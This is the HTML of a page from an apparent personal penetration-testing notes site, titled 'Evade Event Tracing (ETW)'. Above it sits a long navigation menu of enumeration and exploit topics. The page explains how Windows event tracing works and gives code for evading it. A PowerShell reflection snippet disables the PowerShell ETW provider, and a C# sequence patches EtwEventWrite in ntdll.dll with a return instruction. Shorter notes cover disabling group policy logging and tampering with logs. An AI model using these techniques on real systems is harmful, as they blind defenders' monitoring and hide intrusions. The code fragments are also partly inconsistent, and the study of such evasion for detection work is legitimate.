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< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); return false;" > < summary > Snmp< / summary > < ul > < li > < a href = "/enumeration/docs/snmp/onesixtyone.html" > onesixtyone< / a > < / li > < li > < a href = "/enumeration/docs/snmp/snmpcheck.html" > snmpcheck< / a > < / li > < / ul > < / details > < li > < a href = "/enumeration/docs/websites.html" > websites< / a > < / li > < li > < a href = "/enumeration/docs/wfuzz.html" > wfuzz< / a > < / li > < li > < a href = "/enumeration/docs/wpscan.html" > wpscan< / a > < / li > < / ul > < / details > < details id = network_scanners ontoggle = "linkClick(this); return false;" > < summary > Network_scanners< / summary > < ul > < / ul > < / details > < details id = windows ontoggle = "linkClick(this); return false;" > < summary > Windows< / summary > < ul > < li > < a href = "/enumeration/windows/bloodhound.html" > bloodhound< / a > < / li > < li > < a href = "/enumeration/windows/event_log.html" > event_log< / a > < / li > < li > < a href = "/enumeration/windows/manual_enum.html" > manual_enum< / a > < / li > < li > < a href = "/enumeration/windows/powershell.html" > powershell< / a > < / li > < li > < a href = "/enumeration/windows/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/windows/sysinternals.html" > sysinternals< / a > < / li > < li > < a href = "/enumeration/windows/sysmon.html" > sysmon< / a > < / li > < li > < a href = "/enumeration/windows/vss.html" > vss< / a > < / li > < / ul > < / details > < / ul > < / details > < details id = exploit ontoggle = "linkClick(this); return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
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< div class = "column column-3" >
< ul >
< li > < a href = "#evade-event-tracing-etw" > Evade Event Tracing (ETW)< / a > < ul >
< li > < a href = "#log-evasion" > Log Evasion< / a > < ul >
< li > < a href = "#techniques" > Techniques< / a > < / li >
< / ul >
< / li >
< / ul >
< / li >
< / ul >
< / div >
< h1 id = "evade-event-tracing-etw" > Evade Event Tracing (ETW)< / h1 >
< ul >
< li > Event Logging< / li >
< li > Trace Logging< / li >
< li > Event IDs are used< / li >
< li > < strong > Event Provider< / strong > generate events< ul >
< li > Managed Object Format, enabled by a single trace session< / li >
< li > Windows Software Trace Preprocessor, Trace Message Format, enabled by a single trace session< / li >
< li > Manifest Based, up to 8 trace sessions< / li >
< li > TraceLogging, up to 8 trace sessions< / li >
< / ul >
< / li >
< li > < strong > Event Controller< / strong > build and configure sessions for events< / li >
< li > < strong > Event Consumer< / strong > interpret events, parses sessions of selected providers< / li >
< li > XML data< / li >
< / ul >
< h2 id = "log-evasion" > Log Evasion< / h2 >
< ul >
< li > Deleting logs is tracked by an event ID as well . Do not do it!< ul >
< li > ID 1102, security audit logs cleared< / li >
< li > ID 104, log file cleared< / li >
< li > ID 1100, even service shut down< / li >
< / ul >
< / li >
< / ul >
< h3 id = "techniques" > Techniques< / h3 >
< ul >
< li > Provider< ul >
< li > < a href = "https://docs.microsoft.com/en-us/dotnet/standard/assembly/" > PSEtwLogProvider modification< / a > from .Net assembly< ul >
< li > Set < code > m_enabled< / code > to < code > $null< / code > via powershell script< / li >
< / ul >
< / li >
< / ul >
< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "nv" > $logProvider< / span > < span class = "o" > =< / span > < span class = "o" > [< / span > Ref< span class = "o" > ]< / span > .Assembly.GetType< span class = "o" > (< / span > < span class = "s1" > ' System.Management.Automation.Tracing.PSEtwLogProvider' < / span > < span class = "o" > )< / span >
< span class = "nv" > $etwProvider< / span > < span class = "o" > =< / span > < span class = "nv" > $logProvider< / span > .GetField< span class = "o" > (< / span > < span class = "s1" > ' etwProvider' < / span > ,< span class = "s1" > ' NonPublic,Static' < / span > < span class = "o" > )< / span > .GetValue< span class = "o" > (< / span > < span class = "nv" > $null< / span > < span class = "o" > )< / span >
< span class = "o" > [< / span > System.Diagnostics.Eventing.EventProvider< span class = "o" > ]< / span > .GetField< span class = "o" > (< / span > < span class = "s1" > ' m_enabled' < / span > ,< span class = "s1" > ' NonPublic,Instance' < / span > < span class = "o" > )< / span > .SetValue< span class = "o" > (< / span > < span class = "nv" > $etwProvider< / span > ,0< span class = "o" > )< / span > < span class = "p" > ;< / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "o" > *< / span > < span class = "w" > < / span > < span class = "k" > Group< / span > < span class = "w" > < / span > < span class = "n" > policy< / span > < span class = "w" > < / span > < span class = "n" > takeover< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "o" > *< / span > < span class = "w" > < / span > < span class = "n" > Loaded< / span > < span class = "w" > < / span > < span class = "k" > in< / span > < span class = "w" > < / span > < span class = "n" > the< / span > < span class = "w" > < / span > < span class = "n" > same< / span > < span class = "w" > < / span > < span class = "k" > security< / span > < span class = "w" > < / span > < span class = "k" > context< / span > < span class = "w" > < / span > < span class = "k" > as< / span > < span class = "w" > < / span > < span class = "n" > the< / span > < span class = "w" > < / span > < span class = "k" > user< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "o" > *< / span > < span class = "w" > < / span > < span class = "n" > GPO< / span > < span class = "w" > < / span > < span class = "n" > providers< / span > < span class = "w" > < / span > < span class = "n" > are< / span > < span class = "w" > < / span > < span class = "n" > script< / span > < span class = "w" > < / span > < span class = "k" > block< / span > < span class = "w" > < / span > < span class = "n" > logging< / span > < span class = "w" > < / span > < span class = "k" > and< / span > < span class = "w" > < / span > < span class = "n" > module< / span > < span class = "w" > < / span > < span class = "n" > logging< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "o" > *< / span > < span class = "w" > < / span > < span class = "k" > Event< / span > < span class = "w" > < / span > < span class = "n" > IDs< / span > < span class = "w" > < / span > < span class = "n" > reported< / span > < span class = "w" > < / span > < span class = "n" > are< / span > < span class = "w" > < / span > < span class = "n n-Quoted" > `4103`< / span > < span class = "w" > < / span > < span class = "p" > (< / span > < span class = "k" > Logs< / span > < span class = "w" > < / span > < span class = "n" > command< / span > < span class = "w" > < / span > < span class = "n" > invocation< / span > < span class = "p" > )< / span > < span class = "w" > < / span > < span class = "k" > and< / span > < span class = "w" > < / span > < span class = "n n-Quoted" > `4104`< / span > < span class = "w" > < / span > < span class = "p" > (< / span > < span class = "k" > Logs< / span > < span class = "w" > < / span > < span class = "n" > script< / span > < span class = "w" > < / span > < span class = "k" > block< / span > < span class = "w" > < / span > < span class = "n" > execution< / span > < span class = "p" > )< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "o" > *< / span > < span class = "w" > < / span > < span class = "n" > Administrative< / span > < span class = "w" > < / span > < span class = "n" > Templates< / span > < span class = "w" > < / span > < span class = "o" > -> < / span > < span class = "w" > < / span > < span class = "n" > Windows< / span > < span class = "w" > < / span > < span class = "n" > Components< / span > < span class = "w" > < / span > < span class = "o" > -> < / span > < span class = "w" > < / span > < span class = "n" > Windows< / span > < span class = "w" > < / span > < span class = "n" > PowerShell< / span > < span class = "w" > < / span >
< span class = "o" > *< / span > < span class = "w" > < / span > < span class = "n" > Log< / span > < span class = "w" > < / span > < span class = "n" > pipeline< / span > < span class = "w" > < / span > < span class = "n" > abuse< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "o" > *< / span > < span class = "w" > < / span > < span class = "n n-Quoted" > `LogPipelineExecutionDetails`< / span > < span class = "w" > < / span > < span class = "n" > has< / span > < span class = "w" > < / span > < span class = "k" > to< / span > < span class = "w" > < / span > < span class = "n" > be< / span > < span class = "w" > < / span > < span class = "k" > set< / span > < span class = "w" > < / span > < span class = "k" > to< / span > < span class = "w" > < / span > < span class = "no" > false< / span > < span class = "w" > < / span >
< span class = "o" > *< / span > < span class = "w" > < / span > < span class = "k" > Type< / span > < span class = "w" > < / span > < span class = "n" > creation< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< ul >
< li > Controller< ul >
< li > Patching EtwEventWrite stored in < code > ntdll.dll< / code > via return value modification< / li >
< / ul >
< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > var < span class = "nv" > ntdll< / span > < span class = "o" > =< / span > Win32.LoadLibrary< span class = "o" > (< / span > < span class = "s2" > " ntdll.dll" < / span > < span class = "o" > )< / span > < span class = "p" > ;< / span >
var < span class = "nv" > etwFunction< / span > < span class = "o" > =< / span > Win32.GetProcAddress< span class = "o" > (< / span > ntdll, < span class = "s2" > " EtwEventWrite" < / span > < span class = "o" > )< / span > < span class = "p" > ;< / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Modify memory permissions
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "n" > uint< / span > < span class = "w" > < / span > < span class = "n" > oldProtect< / span > < span class = "p" > ;< / span > < span class = "w" > < / span >
< span class = "n" > Win32< / span > < span class = "p" > .< / span > < span class = "n" > VirtualProtect< / span > < span class = "p" > (< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > etwFunction< / span > < span class = "p" > ,< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "p" > (< / span > < span class = "n" > UIntPtr< / span > < span class = "p" > )< / span > < span class = "n" > patch< / span > < span class = "p" > .< / span > < span class = "n" > Length< / span > < span class = "p" > ,< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "mh" > 0x40< / span > < span class = "p" > ,< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > out< / span > < span class = "w" > < / span > < span class = "n" > oldProtect< / span > < span class = "w" > < / span >
< span class = "p" > );< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Copy via `Marshal.Copy`
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "n" > patch< / span > < span class = "p" > (< / span > < span class = "n" > new< / span > < span class = "w" > < / span > < span class = "n" > byte< / span > < span class = "p" > []< / span > < span class = "w" > < / span > < span class = "p" > {< / span > < span class = "w" > < / span > < span class = "mh" > 0xc2< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "mh" > 0x14< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "mh" > 0x00< / span > < span class = "w" > < / span > < span class = "p" > });< / span > < span class = "w" > < / span >
< span class = "n" > Marshal< / span > < span class = "p" > .< / span > < span class = "n" > Copy< / span > < span class = "p" > (< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > patch< / span > < span class = "p" > ,< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "mi" > 0< / span > < span class = "p" > ,< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > etwEventSend< / span > < span class = "p" > ,< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > patch< / span > < span class = "p" > .< / span > < span class = "n" > Length< / span > < span class = "w" > < / span >
< span class = "p" > );< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Clean up
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "n" > VirtualProtect< / span > < span class = "p" > (< / span > < span class = "n" > etwFunction< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "mi" > 4< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "n" > oldProtect< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "o" > & < / span > < span class = "n" > oldOldProtect< / span > < span class = "p" > );< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Check patched instruction
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "n" > Win32< / span > < span class = "p" > .< / span > < span class = "n" > FlushInstructionCache< / span > < span class = "p" > (< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > etwFunction< / span > < span class = "p" > ,< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "nb" > NULL< / span > < span class = "w" > < / span >
< span class = "p" > );< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Runtime Trace Tampering
< / code > < / pre > < / div >
< ul >
< li > Consumer< ul >
< li > Log smashing< / li >
< li > Log tampering< / li >
< / ul >
< / li >
< / ul >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
< / div >
< script >
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function linkClick(obj) {
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if (obj.open) {
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//console.log('open');
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if (sessionStorage.getItem(obj.id) & & !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
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sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
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} else {
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//console.log('closed');
sessionStorage.removeItem(obj.id);
}
}
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let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length ; i + + ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
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< / script >
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< script async src = "https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type = "text/javascript" > < / script >
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< script type = "text/x-mathjax-config" >
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MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
< / script >
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< / body >
< / html >
